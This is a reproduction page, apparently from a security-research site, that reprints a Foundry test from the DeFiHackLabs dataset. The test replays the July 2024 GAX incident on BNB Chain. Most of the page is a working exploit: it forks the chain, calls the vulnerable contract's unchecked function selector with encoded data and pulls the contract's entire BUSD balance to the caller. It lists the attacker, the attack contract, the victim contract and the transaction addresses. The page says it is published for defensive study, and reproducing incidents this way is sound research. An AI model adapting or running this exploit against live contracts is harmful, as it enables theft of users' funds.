Public reproduction file

src/test/2024-07/GAX_exp.sol

Public reproduction file for dataset entry GAX.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-07/GAX_exp.sol35 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4// @KeyInfo - Total Lost : ~50k $BUSD
5// Attacker : https://bscscan.com/address/0x8ccf2860f38fc2f4a56dec897c8c976503fcb123
6// Attack Contract : https://bscscan.com/address/0x64b9d294cd918204d1ee6bce283edb49302ddf7e
7// Created Attack Contract: https://bscscan.com/address/0xa901FDA83E9906e6177f3A3f7B85f13f68723326
8// Vulnerable Contract : https://bscscan.com/address/0xdb4b73df2f6de4afcd3a883efe8b7a4b0763822b
9// Attack Tx : https://bscscan.com/tx/0x368f842e79a10bb163d98353711be58431a7cd06098d6f4b6cbbcd4c77b53108
10 
11import "forge-std/Test.sol";
12import "./../interface.sol";
13 
14contract ContractTest is Test {
15    IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
16    IERC20 GAX = IERC20(0xD5d63074A39Bc0202E828B044C02c6F4d2f75c76);
17    address VulnContract_addr = 0xdb4b73Df2F6dE4AFCd3A883efE8b7a4B0763822b;
18 
19    function setUp() public {
20        vm.createSelectFork("bsc", 40_375_925 - 1);
21        vm.label(address(BUSD), "BUSD");
22        vm.label(address(GAX), "GAX");
23        vm.label(address(VulnContract_addr), "VulnContract");
24    }
25 
26    function testExploit() public {
27        emit log_named_decimal_uint("Attacker BUSD balance before attack", BUSD.balanceOf(address(this)), 18);
28        bytes memory data = abi.encode(0, BUSD.balanceOf(address(VulnContract_addr)), 0);
29        VulnContract_addr.call(abi.encodeWithSelector(bytes4(0x6c99d7c8), data));
30        emit log_named_decimal_uint("Attacker BUSD balance after attack", BUSD.balanceOf(address(this)), 18);
31    }
32 
33    fallback() external payable {}
34    receive() external payable {}
35}

Analysis

Dataset entry

Public Foundry test for “GAX” (2024-07-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

11 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/interface.solImported by this file · 6133 lines
src/test/2024-07/DeFiPlaza_exp.solSame month in the dataset · 319 lines
src/test/2024-07/DoughFina_exp.solSame month in the dataset · 92 lines
src/test/2024-07/Lifiprotocol_exp.solSame month in the dataset · 131 lines
src/test/2024-07/LW_exp.solSame month in the dataset · 64 lines
src/test/2024-07/MEVbot_0xdd7c_exp.solSame month in the dataset · 128 lines
src/test/2024-07/Minterest_exp.solSame month in the dataset · 151 lines
src/test/2024-07/MRP_exp.solSame month in the dataset · 61 lines
src/test/2024-07/SBT_exp.solSame month in the dataset · 53 lines
src/test/2024-07/Spectra_finance_exp.solSame month in the dataset · 52 lines
src/test/2024-07/UnverifiedContr_0x452E25_exp.solSame month in the dataset · 31 lines

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0x8ccf2860f38fc2f4a56dec897c8c976503fcb123
Attack Contract
0x64b9d294cd918204d1ee6bce283edb49302ddf7e
Vulnerable Contract
0xdb4b73df2f6de4afcd3a883efe8b7a4b0763822b

Attack Tx
0x368f842e79a10bb163d98353711be58431a7cd06098d6f4b6cbbcd4c77b53108

File record

Name: GAX
Path: src/test/2024-07/GAX_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: aea86a5fb8f70660760962721fb33027418b2568
Language: Solidity
Size: 36 lines
Date: 2024-07-11
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2024-07/GAX_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob aea86a5fb8f70660760962721fb33027418b2568, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.